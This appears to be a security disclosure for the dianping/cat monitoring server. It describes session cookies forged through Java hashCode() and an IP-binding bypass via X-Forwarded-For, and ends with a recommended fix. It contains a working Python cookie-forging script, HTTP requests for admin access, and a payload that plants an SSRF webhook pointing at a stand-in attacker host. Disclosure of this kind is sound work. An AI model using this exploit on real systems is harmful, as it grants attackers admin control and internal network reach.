Session cookie forgery allows unauthenticated admin access
reported via email on 3 June 2026 - no response.
I am reporting a session authentication vulnerability in dianping/cat that allows any unauthenticated attacker with network access to the CAT HTTP port to forge a valid admin session cookie and gain full write access to all CAT configuration endpoints.
Summary of the issue:
CAT's session cookie (named "ct") uses Java's String.hashCode() as its only integrity check. This function is public, deterministic, and requires no server-side secret, so an attacker can compute a valid cookie value for any username entirely offline. A second flaw in the same code path uses the client-supplied X-Forwarded-For header as the canonical client IP, so the per-request IP binding check is also trivially bypassed by setting that header to match the IP embedded in the forged cookie.
Affected files:
cat-home/src/main/java/com/dianping/cat/system/page/login/service/TokenBuilder.java
- getCheckSum() at line 58 uses str.hashCode() with no server secret
- parse() at line 76 compares the cookie IP against HttpUtils.getRemoteAddress() which reads X-Forwarded-For first
cat-home/src/main/java/com/dianping/cat/util/HttpUtils.java
- getRemoteAddress() at line 22 reads the X-Forwarded-For header without validation
PoC (requires Python, no external libraries):
Step 1 -- compute the forged cookie:
import time
def java_hash(s):
h = 0
for c in s:
h = (31 * h + ord(c)) & 0xFFFFFFFF
if h >= 0x80000000:
h -= 0x100000000
return h
real_name = "admin"
user_name = "admin"
timestamp = str(int(time.time() * 1000))
remote_ip = "172.19.0.1" # set to match X-Forwarded-For header below
payload = real_name + "|" + user_name + "|" + timestamp + "|" + remote_ip + "|"
cookie = payload + str(java_hash(payload))
print("ct=" + cookie)Step 2 -- access the admin configuration page:
GET /cat/s/config?op=projects HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1
HTTP/1.1 200 OK
(full admin config page returned, no redirect to login)Step 3 -- store an attacker-controlled SSRF webhook:
POST /cat/s/config?op=alertSenderConfigUpdate HTTP/1.1
Host: <cat-host>:8080
Cookie: ct=admin|admin|<timestamp>|172.19.0.1|<hashcode>
X-Forwarded-For: 172.19.0.1
Content-Type: application/x-www-form-urlencoded
content=<sender-config><sender id="x" url="http://attacker.local/ssrf" type="get" ...></sender></sender-config>
Response contains the attacker URL reflected back, confirming the config was persisted.Recommended fix:
Replace hashCode() with a cryptographically keyed MAC (e.g. HMAC-SHA256) over the token payload, using a server-side secret stored outside the cookie. Remove the IP binding check, or if IP binding is desired, derive the IP exclusively from request.getRemoteAddr() and never from proxy headers.
Source: dianping/cat